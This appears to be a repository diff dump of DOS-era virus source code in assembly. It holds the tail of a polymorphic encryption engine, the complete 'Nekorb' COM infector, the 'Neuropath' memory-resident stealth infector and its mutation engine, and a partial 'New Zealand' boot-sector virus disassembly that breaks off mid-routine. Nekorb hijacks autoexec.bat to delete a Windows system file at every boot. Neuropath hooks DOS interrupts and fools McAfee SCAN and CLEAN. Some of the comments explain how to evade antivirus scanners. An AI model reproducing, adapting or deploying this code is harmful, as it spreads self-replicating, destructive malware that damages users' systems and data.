use_inc_dec: mov al,byte ptr [word_adj_table + bx] ; Table look-up
add al,040h ; It's an INC...
or dx,dx ; Are we adding?
je store_it0 ; If so, store it
add al,08h ; Otherwise create a DEC
store_it0: stosb ; Store the byte
dec cx ; Subtract one fromt total count
jmp short cxz_check ; Finish off the loop
use_add_sub: mov ax,2 ; Select a random number
call rand_num ; between 0 and 1
shl ax,1 ; Now it's either 0 or 2
mov bp,ax ; Save the value for later
add al,081h ; We're going to be stupid
stosb ; and use an ADD or SUB instead
mov al,byte ptr [word_adj_table + bx] ; Table look-up
add al,0C0h ; It's an ADD...
or dx,dx ; Are we adding?
je store_it1 ; If so, store it
add al,028h ; Otherwise create a SUB
store_it1: stosb ; Store the byte
mov ax,cx ; Select a random number
call rand_num ; between 0 and (CX - 1)
inc ax ; Ok, add back one
or bp,bp ; Does BP = 0?
je long_form ; If so, it's the long way
stosb ; Store the byte
jmp short sub_from_cx ; Adjust the count now...
long_form: stosw ; Store the whole word
sub_from_cx: sub cx,ax ; Adjust total count by AX
cxz_check: or cx,cx ; Are we done yet?
jne add_sub_loop ; If not, repeat until we are
exit_g_a_s: ret ; Return to caller
gen_add_sub endp
;******************************************************************************
; random_fill
;
; Pads out the decryption with random garbage; this is only enabled if
; bit 3 of the options byte is set.
;
; Arguments: SI = offset of ned_start
; DI = offset of storage buffer
;
; Returns: None
;******************************************************************************
random_fill proc near
test word ptr [options],01000b ; Are we allowing this?
jne exit_r_f ; If not, don't add garbage
mov ax,2 ; Select a random number
call rand_num ; between 0 and 1
xchg cx,ax ; Wow! A shortcut to save
jcxz exit_r_f ; a byte! If AX = 0, exit
mov ax,101 ; Select a random number
call rand_num ; between 0 and 100
xchg cx,ax ; Transfer to CX for LOOP
jcxz exit_r_f ; If CX = 0 then exit now...
mov al,0EBh ; We'll be doing a short
stosb ; jump over the code...
mov ax,cx ; Let's get that value back
stosb ; We'll skip that many bytes
garbage_loop: mov ax,0FFFFh ; Select a random number
call rand_num ; between 0 and 65534
stosb ; Store a random byte
loop garbage_loop ; while (--_CX == 0);
exit_r_f: ret ; Return to caller
random_fill endp
;******************************************************************************
; random_reg
;
; Returns the number of a random register. If CX = 1, a byte register is
; used; if CX = 0, a word register is selected.
;
; Arguments: CX = 0 for word, 1 for byte
; SI = offset of ned_start
; DI = offset of storage buffer
;
; Returns: AX = register number
; BX = register's offset in cross-off table (used_it)
;******************************************************************************
random_reg proc near
get_rand_reg: mov ax,cx ; Select a random number
add ax,7 ; between 0 and 6 for words
call rand_num ; or 0 and 7 for bytes
mov bx,ax ; Place in BX for indexing
shr bx,cl ; Divide by two for bytes only
cmp byte ptr [used_it + bx],0 ; Register conflict?
jne get_rand_reg ; If so, try again
ret ; Return to caller
random_reg endp
;******************************************************************************
; rand_num
;
; Random number generation procedure for the N.E.D. This procedure can
; be safely changed without affecting the rest of the module, with the
; following restrictions: all registers that are changed must be preserved
; (except, of course, AX), and AX must return a random number between
; 0 and (BX - 1). This routine was kept internal to avoid the mistake
; that MtE made, that is using a separate .OBJ file for the RNG. (When
; a separate file is used, the RNG's location isn't neccessarily known,
; and therefore the engine can't encrypt it. McAfee, etc. scan for
; the random-number generator.)
;
; Arguments: BX = maximum random number + 1
;
; Returns: AX = psuedo-random number between 0 and (BX - 1)
;******************************************************************************
rand_num proc near
push dx ; Save DX
push cx ; Save CX
push ax ; Save AX
rol word ptr [rand_val],1 ; Adjust seed for "randomness"
add word ptr [rand_val],0754Eh ; Adjust it again
xor ah,ah ; BIOS get timer function
int 01Ah
xor word ptr [rand_val],dx ; XOR seed by BIOS timer
xor dx,dx ; Clear DX for division...
mov ax,word ptr [rand_val] ; Return number in AX
pop cx ; CX holds max value
div cx ; DX = AX % max_val
xchg dx,ax ; AX holds final value
pop cx ; Restore CX
pop dx ; Restore DX
ret ; Return to caller
_rand_val dw 0 ; Seed for generator
rand_num endp
ned_end label near ; The end of the N.E.D.
end

View File

@ -0,0 +1,345 @@
; ------------------------------------------------------------------------- ;
; Nekorb v1.5 coded by KilJaeden of the Codebreakers 1998 ;
; ------------------------------------------------------------------------- ;
; Description: `-------------------| Started: 10/06/98 | Finished: 11/06/98 ;
; `-------------------^------------------- ;
; v1.0 - start with a simple *.com appender | Size: 824 ;
; v1.1 - time / date restoration `---------- ;
; v1.2 - add XOR,NEG,NOT,ROR encryption and directory changing ;
; v1.3 - infects files with any attributes (readonly/hidden/sys) ;
; v1.4 - saves / restores file attributes now ;
; v1.5 - the craziest payload I have ever done... how to explain this...! ;
; - 1: infects all the .coms it can, and then jumps to c:\ ;
; - 2: finds the autoexec.bat file, if there is none, one is created ;
; - 3: infects either the old, or the new, autoexec.bat file replacing ;
; - the first line of it, so it executes a .com everytime the ;
; - computer is started up! read only and hides the autoexec.bat ;
; - 4: creates the new .com that the autoexec.bat runs on startup ;
; - 5: that new .com jumps to the \windows\system directory, and ;
; - deletes one file, prints a message, and waits for the infected ;
; - user to press any key (just to make sure they see us) ;
; - the new .com is made read only / hidden as well ;
; ------------------------------------------------------------------------- ;
; ----------------------> For Christine Moore <---------------------------- ;
; ------------------------------------------------------------------------- ;
; to compile ::] tasm nekorb.asm ;
; to link :::::] tlink /t nekorb.obj ;
; ------------------------------------------------------------------------- ;
code segment ; name our segment 'code'
assume cs:code,ds:code ; assign CS and DS to code
org 100h ; this be a .com file
blank: db 0e9h,0,0 ; define the blank jump
start: call delta ; push IP on to stack
delta: pop bp ; pop into BP
sub bp,offset delta ; get the delta offset
encst: jmp not1st ; jump to not1st (overwritten)
lea si,[bp+encd] ; points to encrypted area start
mov di,si ; move the value into DI
call encr ; call the de/encryption routine
jmp encd ; jump to start of encrypted stuff
encr: lodsb ; load a byte
not al ; encryptin 1
ror al,4 ; encryptin 2
neg al ; encryptin 3
xor al,byte ptr [bp+key] ; encryptin 4 -final-
neg al ; unencrypt 3
ror al,4 ; unencrypt 2
not al ; unencrypt 1
stosb ; stores the byte
loop encr ; does all the bytes
ret ; returns from call
key db 0 ; our key
encd: lea si,[bp+buffer] ; three bytes to restore
mov di,100h ; load di with 100h
push di ; save this for the 'retn'
movsw ; move two bytes
movsb ; move one byte
lea dx,[bp+offset dta] ; new DTA address
mov ah,1ah ; move the dta
int 21h ; DTA is moved
first: mov ah,4eh ; find the first file
lea dx,[bp+comfile] ; looking for *.c*
mov cx,7 ; with these attributes
next: int 21h ; find the first .com
jnc infect ; found one? infect it
mov ah,3bh ; change directory
lea dx,[bp+updir] ; load the .. string
int 21h ; now up a directory
jnc first ; jump to first
jmp pload ; hit root? do our payload
infect: lea dx,[bp+offset dta+1eh] ; get the file info
mov ax,4300h ; get file attributes
int 21h ; we have them now
push cx ; save value #1
push dx ; save value #2
push ds ; save value #3
mov ax,4301h ; set file attributes
xor cx,cx ; to none at all
int 21h ; ready for infection
call open ; open the file
mov ax,5700h ; get time / date stamps
int 21h ; get them now
push dx ; save value #4
push cx ; save value #5
mov ah,3fh ; read record function
lea dx,[bp+buffer] ; to the buffer
mov cx,3 ; three bytes
int 21h ; read those bytes
mov ax,word ptr [bp+dta+1ah] ; move the file size into AX
mov cx,word ptr [bp+buffer+1] ; move the buffer + 1 into cx
add cx,finish-start+3 ; add virus size + jump
cmp ax,cx ; compare the two
jz shutup ; if equal close the file
cmp ax,1000 ; compare file size with 1kb
jb shutup ; file is too small, close it up
cmp ax,62000 ; compare file size with 62kb
ja shutup ; file is too big, close it up
sub ax,3 ; get jump to virus body size
mov word ptr [bp+newjump+1],ax ; write this as our jump
mov al,00h ; start of file
call scan ; scan to start of file
mov ah,40h ; write to file
lea dx,[bp+newjump] ; write this
mov cx,3 ; # of bytes to write
int 21h ; write it now
mov al,02h ; end of file
call scan ; scan to end of file
in al,40h ; get a random value
mov byte ptr [bp+key],al ; save it as our key
mov ah,40h ; write to file
lea dx,[bp+start] ; where to start writting
mov cx,encd-start ; # of bytes to write
int 21h ; write the non-encrypted stuff
lea di,[bp+finish] ; load DI with end address
push di ; save value #6
lea si,[bp+encd] ; load SI with start address
mov cx,finish-encd ; # of bytes between the two
push cx ; save value #7
call encr ; call the encryption routine
mov ah,40h ; write to file
pop cx ; saved value #7
pop dx ; saved value #6
int 21h ; write those bytes
shutup: mov ax,5701h ; set time / date
pop cx ; from saved value #5
pop dx ; from saved value #4
int 21h ; time / date restored
mov ax,4301h ; set file attributes
pop ds ; from saved value #3
pop dx ; from saved value #2
pop cx ; from saved value #1
int 21h ; set them now
call close ; close the file
mov ah,4fh ; find next file
jmp next ; jump to next
exit: mov dx,80h ; old address of DTA
mov ah,1ah ; restore to original location
int 21h ; DTA is back to original location
retn ; return control to host
; ---------------------------( The Payload )------------------------------- ;
; ------------------------------------------------------------------------- ;
pload: mov ah,0eh ; change drive
mov dl,2 ; to drive c:\
int 21h ; now in c:\
mov ah,3bh ; change directory
lea dx,[bp+rootdir] ; to the root directory
int 21h ; change now
find: mov ah,4eh ; find first file
lea dx,[bp+autoexe] ; named 'autoexec.bat'
mov cx,7 ; possible attributes
int 21h ; find it now
jnc infkt ; found it? infect it now
mov ah,3ch ; make a file
lea dx,[bp+autoexe] ; named 'autoexec.bat'
xor cx,cx ; normal attributes
int 21h ; make it now
jmp find ; and try again
infkt: lea dx,[bp+offset dta+1eh] ; get the file info
push dx ; save value #8
mov ax,4301h ; set file attributes
xor cx,cx ; to none at all
int 21h ; set them now
call open ; open the file
mov ah,40h ; write to file
lea dx,[bp+newline] ; write the new line
mov cx,13 ; this many bytes
int 21h ; write to file
pop dx ; from saved value #8
mov ax,4301h ; set file attributes
mov cx,3 ; read only / hidden
int 21h ; set them now
call close ; close the autoexec.bat
mov ah,3ch ; create a file
lea dx,[bp+pldfile] ; with this name
push dx ; save value #9
xor cx,cx ; with no attributes
int 21h ; create it now
mov ah,4eh ; find the first file
pop dx ; from saved value #9
mov cx,7 ; with these possible attributes
int 21h ; find it now
lea dx,[bp+offset dta+1eh] ; get the file name info
push dx ; save value #10
call open ; open the file
mov ah,40h ; write to file
lea dx,[bp+pstrt] ; write from here
mov cx,pend-pstrt ; this # of bytes
int 21h ; write them now
pop dx ; from saved value #10
mov ax,4301h ; set file attributes
mov cx,3 ; read only / hidden
int 21h ; set them now
call close ; close winsys.com
jmp exit ; end the virus
; ---------------------( Remotely Called Procedures )---------------------- ;
; ------------------------------------------------------------------------- ;
close: mov ah,3eh ; close file
int 21h ; close it now
ret
open: mov ax,3d02h ; open the file
int 21h ; file is opened
xchg bx,ax ; move the info
ret ; return from call
scan: mov ah,42h ; scan function
xor cx,cx ; cx must be 0
cwd ; likewize for DX
int 21h ; scan through file
ret ; return from call
; -----------------------( The Payload Data Area )------------------------- ;
; ------------------------------------------------------------------------- ;
pstrt: db 0e9h,0,0 ; need all this again
call paydel ; push IP on to stack
paydel: pop bp ; pop it into bp
sub bp,offset paydel ; get 2nd delta offset
mov ah,3bh ; change directory
lea dx,[bp+winsys] ; \windows\system
int 21h ; go there now
mov ah,4eh ; find first file
lea dx,[bp+anyfile] ; with any name *.*
mov cx,7 ; with these possible attributes
int 21h ; find one now
mov ah,41h ; delete a file
mov dx,9eh ; with this name
int 21h ; delete it
mov ah,3bh ; change directory
lea dx,[bp+root] ; back to the root dir
int 21h ; go there now
mov ah,09h ; print a message
lea dx,[bp+paymsg] ; this message
int 21h ; print it to the screen
mov ah,00h ; wait for keypress
int 16h ; let them seeeeee hehehe
int 20h ; end this program
anyfile db '*.*',0 ; find *.*
winsys db "\windows\system",0 ; define directory to change to
root db "\",0 ; change to the root dir
paymsg db '',10,13 ; so they don't see winsys.com exec
db '',10,13 ; so they don't see winsys.com exec
db '',10,13 ; so they don't see winsys.com exec
db '',10,13 ; so they don't see winsys.com exec
db '',10,13 ; so they don't see winsys.com exec
db '',10,13 ; so they don't see winsys.com exec
db '',10,13 ; so they don't see winsys.com exec
db '',10,13 ; so they don't see winsys.com exec
db '',10,13 ; so they don't see winsys.com exec
db '',10,13 ; so they don't see winsys.com exec
db '',10,13 ; so they don't see winsys.com exec
db '',10,13 ; so they don't see winsys.com exec
db '',10,13 ; so they don't see winsys.com exec
db '',10,13 ; so they don't see winsys.com exec
db '',10,13 ; so they don't see winsys.com exec
db '',10,13 ; so they don't see winsys.com exec
db '',10,13 ; so they don't see winsys.com exec
db '',10,13 ; so they don't see winsys.com exec
db '',10,13 ; so they don't see winsys.com exec
db '',10,13 ; so they don't see winsys.com exec
db 'Infected by Nekorb coded by KilJaeden of the Codebreakers on 10/06/98 - 11/06/98',10,13
db '::Each time you start your computer, an innocent file is sacrificed to my god.::',10,13,'$'
pend:
; --------------------------( The Data Area )------------------------------ ;
; ------------------------------------------------------------------------- ;
newline db '.\winsys.com',10,13,'$'
updir db "..",0 ; define the .. string
comfile db "*.com",0 ; define the *.c* string
autoexe db 'autoexec.bat',0 ; name of file to find
buffer db 0cdh,20h,0 ; terminates 1st gen
rootdir db "\",0 ; change to the root dir
pldfile db 'winsys.com',0 ; the name for our new .com
newjump db 0e9h,0,0 ; overwriten 1st gen
dta db 43 dup (?) ; space for the new DTA
finish label near ; an offset label
; ---------------------( Not Saved / Not Encrypted )----------------------- ;
; ------------------------------------------------------------------------- ;
not1st: lea di,[bp+encst] ; where to move the bytes
lea si,[bp+new] ; move these bytes
movsw ; move two bytes
movsb ; move one more
jmp encd ; jump to encrypted area
new: mov cx,finish-encd ; this will overwrite the jump
; -----------------------------( The End )--------------------------------- ;
; ------------------------------------------------------------------------- ;
code ends ; end code segment
end blank ; end / where to start
; ------------------------------------------------------------------------- ;
; ---------> How Can You Think Freely In The Shadow Of A Church? <--------- ;
; ------------------------------------------------------------------------- ;

View File

@ -0,0 +1,286 @@
; ========================================================================>
; [Neuropath] by MnemoniX 1994
;
; * Memory resident .COM infector
; * Polymorphic (engine in neuroeng.asm - lame but effective)
; * Anti-SCAN and CLEAN stealth technique - creates hidden file in
; root directory; when SCAN or CLEAN is run all attempts to open .COM
; files are redirected to hidden file, and they all come out clean.
; ========================================================================>
code segment
org 0
assume cs:code
start:
db 0E9h,0,0
virus_begin:
call $ + 3
pop bp
sub bp,offset $ - 1
mov ah,3Ch
mov cx,2
lea dx,[bp + dummy_file] ; create dummy file
int 21h
mov ah,3Eh
int 21h
install:
mov ax,5786h
int 21h
push ds es
mov ax,ds
dec ax
mov ds,ax
sub word ptr ds:[3],((MEM_SIZE+1023) / 1024) * 64
sub word ptr ds:[12h],((MEM_SIZE+1023) / 1024) * 64
mov es,word ptr ds:[12h]
push cs ; copy virus into memory
pop ds
xor di,di
mov si,bp
mov cx,(virus_end - start) / 2 + 1
rep movsw
xor ax,ax ; capture interrupt 21
mov ds,ax
mov si,21h * 4
mov di,offset old_int_21
movsw
movsw
mov word ptr [si - 4],offset new_int_21
mov [si - 2],es
pop es ds
jmp install
int_21:
pushf
call dword ptr cs:[old_int_21]
ret
new_int_21:
cmp ax,5786h
je restore_host
cmp ah,4Ch
je terminate
cmp ah,3Dh
je file_open
not ax
cmp ax,0B4FFh
je execute
int_21_4B_exit:
not ax
int_21_exit:
db 0EAh
old_int_21 dd 0
restore_host:
pop ax
pop ax
push ds
mov di,0FEFFh
not di
lea si,[bp + host]
push di
movsw
movsb
iret
terminate:
mov cs:McAffee_alert,0
jmp int_21_exit
file_open:
cmp cs:McAffee_alert,1
jne int_21_exit
push ax si
mov si,dx
find_ext:
lodsb
cmp al,'.'
je ext_found
test al,al
je not_com
jmp find_ext
ext_found:
cmp ds:[si],'OC' ; .COM?
jne not_com
cmp byte ptr ds:[si + 2],'M'
jne not_com
pop si ax
push ds dx
push cs
pop ds
mov dx,offset dummy_file
call int_21
pop dx ds
retf 2
not_com:
pop si ax
jmp int_21_exit
execute:
push ax si
mov si,dx
find_ext_2:
lodsb
cmp al,'.'
je ext_found_2
test al,al
je no_scan
jmp find_ext_2
ext_found_2:
cmp ds:[si],'XE' ; check for SCAN.EXE
jne no_scan
cmp ds:[si - 3],'NA'
jne no_scan
cmp ds:[si - 5],'CS'
jne perhaps_clean
mcaffee_on:
pop si ax
mov cs:McAffee_alert,1 ; McAffee alert!
jmp int_21_4B_exit
perhaps_clean:
cmp ds:[si - 5],'EL' ; check for CLEAN.EXE
jne no_scan
cmp byte ptr ds:[si - 6],'C'
je mcaffee_on
no_scan:
pop si ax
push ax bx cx dx si di bp ds es
mov ax,3D00h
call int_21
jnc check_out
jmp cant_open
check_out:
xchg ax,bx
push cs
pop ds
push bx
mov ax,ds:sft_1
int 2Fh
mov ax,ds:sft_2
mov bl,es:[di]
int 2Fh
pop bx
mov word ptr es:[di + 2],2
mov ax,es:[di + 0Dh]
and al,31
cmp al,24 ; marker is 24
je dont_infect
mov ah,ds:file_read ; anti-TBSCAN
mov dx,offset host
mov cx,3
call int_21
mov ax,word ptr ds:host
sub ax,'ZM'
je dont_infect
mov ax,es:[di + 11h] ; file size
cmp ax,65278 - VIRUS_SIZE
jae dont_infect
mov es:[di + 15h],ax
sub ax,3
mov word ptr ds:new_jump + 1,ax
push es di bx
add ax,103h
xchg dx,ax
mov cx,VIRUS_SIZE
mov si,offset virus_begin
mov di,offset encrypt_buffer
push cs
pop es
call engine
pop bx di es
mov dx,offset encrypt_buffer
call write_it
mov word ptr es:[di + 15h],0
mov cx,3
mov dx,offset new_jump
call write_it
dont_infect:
mov ax,ds:set_date ; anti-TBSCAN
mov cx,es:[di + 0Dh]
mov dx,es:[di + 0Fh]
and cl,-32
or cl,24
call int_21
mov ah,3Eh
call int_21
cant_open:
pop es ds bp di si dx cx bx ax
jmp int_21_4B_exit
write_it:
mov ah,ds:file_write ; anti-TBSCAN
call int_21
ret
db '[Neuropath] MnemoniX',0
dummy_file db '\',-1,-1,0 ; 2 ASCII 255s
include neuroeng.asm
McAffee_alert db 0
host db 0CDh,20h,0
new_jump db 0E9h,0,0
set_date dw 5701h
file_read db 3Fh
file_write db 40h
sft_1 dw 1220h
sft_2 dw 1216h
virus_end:
VIRUS_SIZE equ virus_end - virus_begin
encrypt_buffer db VIRUS_SIZE + 1000 dup (?)
heap_end:
MEM_SIZE equ heap_end - start
code ends
end start

View File

@ -0,0 +1,284 @@
; Neurotic Mutation Engine v1.00 for Neuropath
; by MnemoniX 1994
engine proc near
call randomize
get_reg_1:
mov ax,7 ; counter register
call _random
inc ax
cmp al,4
je get_reg_1
cmp al,5
ja get_reg_1
mov ds:reg_1,al
push di ; save this
push ax
call garbage_dump ; crap
pop ax
add al,0B8h ; store MOV instruction
stosb
mov ax,cx
stosw
call garbage_dump ; more crap
mov al,0BFh
stosb
push di ; use this later
stosw
call garbage_dump ; even more crap
mov ax,0F78Bh
stosw
push di ; use this later too
call garbage_dump ; more crap
mov al,0ADh ; a LODSW
stosb
call garbage_dump ; yet more crap
mov al,2
call _random
test al,al
je add_it
mov al,35h
mov bl,al
je decryptor
add_it:
mov al,5
mov bl,2Dh
decryptor:
stosb
mov ds:encrypt_act,bl ; for encryption
mov ax,-1
call _random
stosw
mov ds:encrypt_key,ax ; for encryption
call garbage_dump ; just pilin' on the crap
mov al,0ABh ; a STOSW
stosb
call garbage_dump ; the crap continues ...
mov al,ds:reg_1 ; decrement counter
add al,48h
mov ah,9Ch ; and a PUSHF
stosw
call garbage_dump ; C-R-A-P ...
mov ax,749Dh ; a POPF and JZ
stosw
mov ax,4
call _random ; use later
mov bx,ax
add al,3
stosb
mov al,0E9h ; a JMP
stosb
pop ax ; use LODSW offset
sub ax,di
dec ax
dec ax
stosw
add di,bx ; fix up DI
pop bx ; now fix up offset value
pop bp
sub bp,di
neg bp
push bp ; size of decryptor - for l8r
add bp,dx
mov es:[bx],bp
push cx
push si
mov si,offset one_byters ; swap one-byte instructions
mov ax,7 ; around for variety
call _random
mov bx,ax
mov al,7
call _random
mov ah,[bx+si]
mov bl,al
mov [bx+si],ah
pop si
; now we encrypt
encrypt_it:
lodsw
encrypt_act db 0
encrypt_key dw 0
stosw
loop encrypt_it
pop cx
pop dx
add cx,dx
ret
reg_1 db 0
rnd_seed_1 dw 0
rnd_seed_2 dw 0
garbage_dump:
mov ax,7 ; garbage instructions
call _random
add ax,5
push cx
mov cx,ax
dump_it:
; El Basurero - "The GarbageMan"
mov ax,8
call _random
cmp al,2
jb next_one
je garbage_1 ; a MOV ??,AX
cmp al,3
je garbage_2 ; operate ??,AX
cmp al,4
je garbage_3 ; CMP or TEST AX/AL,??
cmp al,5 ; a few little instructions
jae garbage_4
next_one:
loop dump_it
pop cx
ret
garbage_1:
mov al,8Bh
stosb
call get_mov_reg
shl ax,1
shl ax,1
shl ax,1
add al,0C0h
stosb
jmp next_one
garbage_2:
mov al,8
call _random
shl ax,1
shl ax,1
shl ax,1
add al,3
stosb
call get_mov_reg
shl ax,1
shl ax,1
shl ax,1
add al,0C0h
stosb
jmp next_one
garbage_3:
mov al,2
call _random
test al,al
je a_cmp
mov al,0A9h
jmp storage
a_cmp:
mov al,3Dh
storage:
stosb
mov ax,-1
call _random
stosw
jmp next_one
garbage_4:
push cx
mov ax,4
call _random
add ax,3
mov cx,ax
push si
mov bx,offset one_byters
filler_loop:
mov ax,8
call _random
cmp al,7
je make_inc_dec
mov si,ax
mov al,[bx+si]
proceed:
stosb
loop filler_loop
pop si cx
jmp next_one
make_inc_dec:
call get_mov_reg
add al,40h
jmp proceed
get_mov_reg:
mov ax,8
call _random
test al,al
je get_mov_reg
cmp al,4
je get_mov_reg
cmp al,5
ja get_mov_reg
cmp al,reg_1
je get_mov_reg
ret
one_byters:
db 0CCh
stc
clc
cmc
sti
nop
cld
randomize:
push cx dx
xor ah,ah
int 1Ah
mov rnd_seed_1,dx
add dx,cx
mov rnd_seed_2,dx
pop dx cx
ret
_random:
push cx dx ax
add dx,rnd_seed_2
add dx,17
mov ax,dx
xor dx,dx
test ax,ax
je rnd_done
pop cx
div cx
mov ax,dx ; AX now holds our random #
rnd_done:
mov dx,rnd_seed_1
add rnd_seed_2,dx
pop dx cx
ret
engine endp

File diff suppressed because it is too large Load Diff

Binary file not shown.

File diff suppressed because it is too large Load Diff

View File

@ -0,0 +1,288 @@
page 65,132
title The 'New Zealand' Virus
; ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
; º British Computer Virus Research Centre º
; º 12 Guildford Street, Brighton, East Sussex, BN1 3LS, England º
; º Telephone: Domestic 0273-26105, International +44-273-26105 º
; º º
; º The 'New Zealand' Virus º
; º Disassembled by Joe Hirst, November 1988 º
; º º
; º Copyright (c) Joe Hirst 1988, 1989. º
; º º
; º This listing is only to be made available to virus researchers º
; º or software writers on a need-to-know basis. º
; ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ
; The virus consists of a boot sector only. The original boot sector
; is kept at track zero, head one, sector three on a floppy disk, or
; track zero, head zero, sector two on a hard disk.
; The disassembly has been tested by re-assembly using MASM 5.0.
; The program requires an origin address of 7C00H, as it is designed
; to load and run as a boot sector.
RAM SEGMENT AT 0
; System data
ORG 4CH
BW004C DW ? ; Interrupt 19 (13H) offset
BW004E DW ? ; Interrupt 19 (13H) segment
ORG 413H
BW0413 DW ? ; Total RAM size
ORG 440H
BB0440 DB ? ; Motor timeout counter
ORG 46CH
BB046C DB ? ; System clock
ORG 7C0AH
I13_OF DW ?
I13_SG DW ?
HICOOF DW ?
HICOSG DW ? ; High core segment
RAM ENDS
CODE SEGMENT BYTE PUBLIC 'CODE'
ASSUME CS:CODE,DS:RAM
START: DB 0EAH ; Far jump to next byte
DW BP0010, 07C0H
BP0010: JMP BP0110
DRIVEN DB 0 ; Drive number (A=0, B=1, C=2)
DUMMY DB 0
; Original Int 13H address
INT_13 EQU THIS DWORD
DW 0
DW 0
; Branch address in high core
HIGHCO EQU THIS DWORD
DW BP0120
DW 0
; Boot sector processing address
BOOTST EQU THIS DWORD
DW 07C00H
DW 0
; Interrupt 13H disk I/O routine
BP0020: PUSH DS
PUSH AX
CMP AH,2 ; Sub-function 2
JB BP0030 ; Pass on if below
CMP AH,4 ; Sub-function 4
JNB BP0030 ; Pass on if not below
CMP DL,0 ; Is drive A
JNE BP0030 ; Pass on if not
XOR AX,AX ; \ Segment zero
MOV DS,AX ; /
MOV AL,BB0440 ; Get motor timeout counter
OR AL,AL ; Test for zero
JNE BP0030 ; Branch if not
CALL BP0040 ; Call infection routine
BP0030: POP AX
POP DS
JMP INT_13 ; Pass control to Int 13H
; Infection routine
BP0040: PUSH BX
PUSH CX
PUSH DX
PUSH ES
PUSH SI
PUSH DI
MOV SI,4 ; Retry count
BP0050: MOV AX,201H ; Read one sector
PUSH CS ; \ Set ES to CS
POP ES ; /
MOV BX,200H ; Boot sector buffer
MOV CX,1 ; Track zero, sector 1
XOR DX,DX ; Head zero, drive A
PUSHF ; Fake an interrupt
CALL INT_13 ; Call Int 13H
JNB BP0060 ; Branch if no error
XOR AX,AX ; Reset disk sub-system
PUSHF ; Fake an interrupt
CALL INT_13 ; Call Int 13H
DEC SI ; Decrement retry count
JNE BP0050 ; Retry
JMP BP0080 ; No more retries
BP0060: XOR SI,SI ; Start of program
MOV DI,200H ; Boot sector buffer
MOV AX,ES:[SI] ; Get first word
CMP AX,ES:[DI] ; Test if same
JNE BP0070 ; Install if not
MOV AX,ES:[SI+2] ; Get second word
CMP AX,ES:[DI+2] ; Test if same
JNE BP0070 ; Install if not
JMP BP0080 ; Pass on
BP0070: MOV AX,301H ; Write one sector
MOV BX,200H ; Boot sector buffer
MOV CX,3 ; Track zero, sector 3
MOV DX,100H ; Head 1, drive A
PUSHF ; Fake an interrupt
CALL INT_13 ; Call Int 13H
JB BP0080 ; Branch if error
MOV AX,301H ; Write one sector
XOR BX,BX ; This sector
MOV CL,1 ; Track zero, sector 1
XOR DX,DX ; Head zero, drive A
PUSHF ; Fake an interrupt
CALL INT_13 ; Call Int 13H
BP0080: POP DI
POP SI
POP ES
POP DX
POP CX
POP BX
RET
; Display message
BP0090: MOV AL,CS:[BX] ; Get next message byte
INC BX ; Update pointer
CMP AL,0 ; Test for end of message
JNE BP0100 ; Branch to display
RET
BP0100: PUSH AX
PUSH BX
MOV AH,0EH ; Write TTY mode
MOV BH,0
INT 10H ; VDU I/O
POP BX
POP AX
JMP SHORT BP0090 ; Process next byte
; Install in high core
BP0110: XOR AX,AX ; \ Segment zero
MOV DS,AX ; /
CLI
MOV SS,AX ; \ Set stack to boot sector area
MOV SP,7C00H ; /
STI
MOV AX,BW004C ; Get Int 13H offset
MOV I13_OF,AX ; Store in jump offset
MOV AX,BW004E ; Get Int 13H segment
MOV I13_SG,AX ; Store in jump segment
MOV AX,BW0413 ; Get total RAM size
DEC AX ; \ Subtract 2k
DEC AX ; /
MOV BW0413,AX ; Replace total RAM size
MOV CL,6 ; Bits to move
SHL AX,CL ; Convert to Segment
MOV ES,AX ; Set ES to segment
MOV HICOSG,AX ; Move segment to jump address
MOV AX,OFFSET BP0020 ; Get Int 13H routine address
MOV BW004C,AX ; Set new Int 13H offset
MOV BW004E,ES ; Set new Int 13H segment
MOV CX,OFFSET ENDADR ; Load length of program
PUSH CS ; \ Set DS to CS
POP DS ; /
XOR SI,SI ; \ Set pointers to zero
MOV DI,SI ; /
CLD
REPZ MOVSB ; Copy program to high core
JMP HIGHCO ; Branch to next instruc in high core
; Continue processing in high core
BP0120: MOV AX,0 ; Reset disk sub-system
INT 13H ; Disk I/O
XOR AX,AX ; \ Segment zero
MOV ES,AX ; /
ASSUME DS:NOTHING,ES:RAM
MOV AX,201H ; Read one sector
MOV BX,7C00H ; Boot sector buffer address
CMP DRIVEN,0 ; Test drive is A
JE BP0130 ; Branch if yes
MOV CX,2 ; Track zero, sector 2
MOV DX,80H ; Side zero, drive C
INT 13H ; Disk I/O
JMP BP0150 ; Pass control to boot sector
; Floppy disk
BP0130: MOV CX,3 ; Track zero, sector 3
MOV DX,100H ; Side one, drive A
INT 13H ; Disk I/O
JB BP0150 ; Branch if error
TEST BB046C,7 ; Test low byte of time
JNZ BP0140 ; Branch if not 7
MOV BX,OFFSET MESSAGE ; Load message address
CALL BP0090 ; Display message
BP0140: PUSH CS ; \ Set ES to CS
POP ES ; /
MOV AX,201H ; Read one sector
MOV BX,200H ; C-disk boot sector buffer
MOV CX,1 ; Track zero, sector 1
MOV DX,80H ; Side zero, drive C
INT 13H ; Disk I/O
JB BP0150 ; Branch if error
PUSH CS ; \ Set DS to CS
POP DS ; /
MOV SI,200H ; C-disk boot sector buffer
MOV DI,0 ; Start of program
MOV AX,[SI] ; Get first word
CMP AX,[DI] ; Compare to C-disk
JNE BP0160 ; Install on C-disk if different
MOV AX,[SI+2] ; Get second word
CMP AX,[DI+2] ; Compare to C-disk
JNE BP0160 ; Install on C-disk if different
BP0150: MOV DRIVEN,0 ; Drive A
MOV DUMMY,0
JMP BOOTST ; Pass control to boot sector
; Install on C-disk
BP0160: MOV DRIVEN,2 ; Drive C
MOV DUMMY,0
MOV AX,301H ; Write one sector
MOV BX,200H ; C-disk boot sector buffer
MOV CX,2 ; Track zero, sector 2
MOV DX,80H ; side zero, drive C
INT 13H ; Disk I/O
JB BP0150 ; Branch if error
PUSH CS ; \ Set DS to CS
POP DS ; /
PUSH CS ; \ Set ES to CS
POP ES ; /
MOV SI,OFFSET ENDADR+200H ; Target offset
MOV DI,OFFSET ENDADR ; Source offset
MOV CX,OFFSET 400H-ENDADR ; Length to move
